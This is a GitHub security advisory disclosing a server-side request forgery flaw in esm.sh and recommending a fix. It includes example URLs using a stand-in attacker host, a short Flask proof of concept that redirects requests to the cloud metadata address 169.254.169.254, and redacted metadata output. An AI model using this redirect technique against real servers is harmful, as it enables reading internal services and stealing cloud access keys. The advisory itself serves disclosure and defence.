GHSA-3C9R-837R-QQM4
Vulnerability from github – Published: 2026-02-25 15:19 – Updated: 2026-02-27 20:56Summary
esh.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability.
Details
Vulnerable code location: https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511
If the internal address has a suffix listed below, the attacker can obtain content from the specified internal address.
eg: https://esm.sh/https://local.site/test.md
".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css"
A 302 redirect can be used to bypass the suffix restriction.
eg: https://esm.sh/https://attacker.site/test.md
https://attacker.site/test.md 302 redirect to http://169.254.169.254/v1.json
PoC
Use Flask to start a server that returns a 302 redirect.
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/test.md')
def redirect_test():
return redirect("http://169.254.169.254/v1.json", code=302)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
Let esh.sh visit this site.
https://esm.sh/https://attacker.site/test.md
Attacker can obtain data from http://169.254.169.254/v1.json.
var t=`<p>{"bgp":{"ipv4":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""},"ipv6":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""}},"hostname":"****","instance-v2-id":"****","instanceid":"****","interfaces":[{"ipv4":{"additional":[],"address":"****","gateway":"****","netmask":"****","routes":[{"netmask":32,"network":"****"}]},"ipv6":{"additional":[],"address":"****","network":"****","prefix":"64"},"mac":"****","network-type":"public"}],"nvidia-driver":[],"public-keys":["****"],"region":{"countrycode":"US","regioncode":"SJC"},"tags":[]}</p>
`,o={},u=t;export{u as default,t as html,o as meta};
Decode the data (redacted) .
{"bgp":{"ipv4":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""},"ipv6":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""}},"hostname":"****","instance-v2-id":"****","instanceid":"****","interfaces":[{"ipv4":{"additional":[],"address":"****","gateway":"****","netmask":"****","routes":[{"netmask":32,"network":"****"}]},"ipv6":{"additional":[],"address":"****","network":"****","prefix":"64"},"mac":"****","network-type":"public"}],"nvidia-driver":[],"public-keys":["****"],"region":{"countrycode":"US","regioncode":"SJC"},"tags":[]}
Impact
An attacker can exploit the vulnerability to access internal sites, and in a cloud environment, can retrieve access keys (AK) and secret keys (SK) by accessing the metadata service address.
Fix
It is recommended to use safeurl.Client as a replacement for http.Client.
